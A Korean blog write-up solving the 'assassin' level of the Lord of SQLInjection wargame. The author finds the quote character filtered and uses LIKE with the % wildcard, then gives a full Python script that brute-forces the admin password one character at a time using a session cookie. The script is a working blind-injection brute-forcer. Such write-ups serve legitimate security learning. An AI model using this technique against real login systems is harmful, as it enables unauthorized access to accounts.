본문 바로가기

보안공부/Lord of SQLInjection 풀이

Lord of SQLInjection Assasin 풀이

이번 문제를 처음 딱 봤을 때 "엥.. 필터링 되는게 왜 하나밖에 없지?"라는 생각을 하게 되었다.

적어도 가장 중요한 single quote(')가 막힌걸 보기 전까지는...

 

이제 사용할 수 있는 구문은 mysql 구문중 like와 %를 사용하는 구문 뿐이었다.

 

그렇게 문자열과 알파벳의 뒤에 %25(URL Decode : %)를 붙여 pw값으로 계속 전달하다보니 9에서 위와 같이 Hello guest가 나왔다.

이로 guest 계정의 비밀번호는 9로 시작된다는 것을 알 수 있게 되었다.

 

이렇게 계속 하면 Hello admin도 볼 수 있을 것 같았다.

하지만... admin 계정과 guest 계정 모두 9로 시작했던지라 그 어떤 값을 입력해도 Hello admin을 볼 수 없었다.

 

그렇게 계속 진행했으나, 두 번째 자리도 0으로 일치했다.

그래서 그냥 코드를 짜서 돌리기로 했다...

 

코드는 다음과 같다.

더보기
import requests
import sys
URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
Sess = {'PHPSESSID': '71139kumcbu7ojqk8b828uota8'}
ConfirmKey = "Hello admin"
FilterKey = "Hello guest"
Dict = '0123456789qwertyuiopasdfghjklzxcvbnm'
length = 8
password = "90"
Colors = ["\033[37m", "\033[32m", "\033[31m"]
def sendReq(payload):
    return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Using fixed password length : " + str(length))
print("[*] Looking for password")
while True:
    for Current in Dict:
        ReqResult = sendReq({"pw": str(password + Current + "%")}).text
        if ConfirmKey in ReqResult:
            password+= Current
            print(Colors[1] + "[+] Found password of state " + str(len(password)) + " : " + str(Current))
            print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password + Colors[0])
            if len(password) == length:
                break
        else:
            print(Colors[2] + "[-] Tried : " + str(Current) + Colors[0])
    if len(password) == length:
        break
    else:
        print(Colors[1] + "[*] One loop done [" + str(len(password)) + " , " + password + "]" + Colors[0])
print(Colors[1] + "\n[*] Job Done!\n[LENGTH] " + str(length) + "\n[PASSWORD] " + str(password) + Colors[0])

 

위 코드의 동작 결과를 통해 비밀번호를 확인할 수 있었다.

위 비밀번호를 pw값으로 보내주니 풀렸다.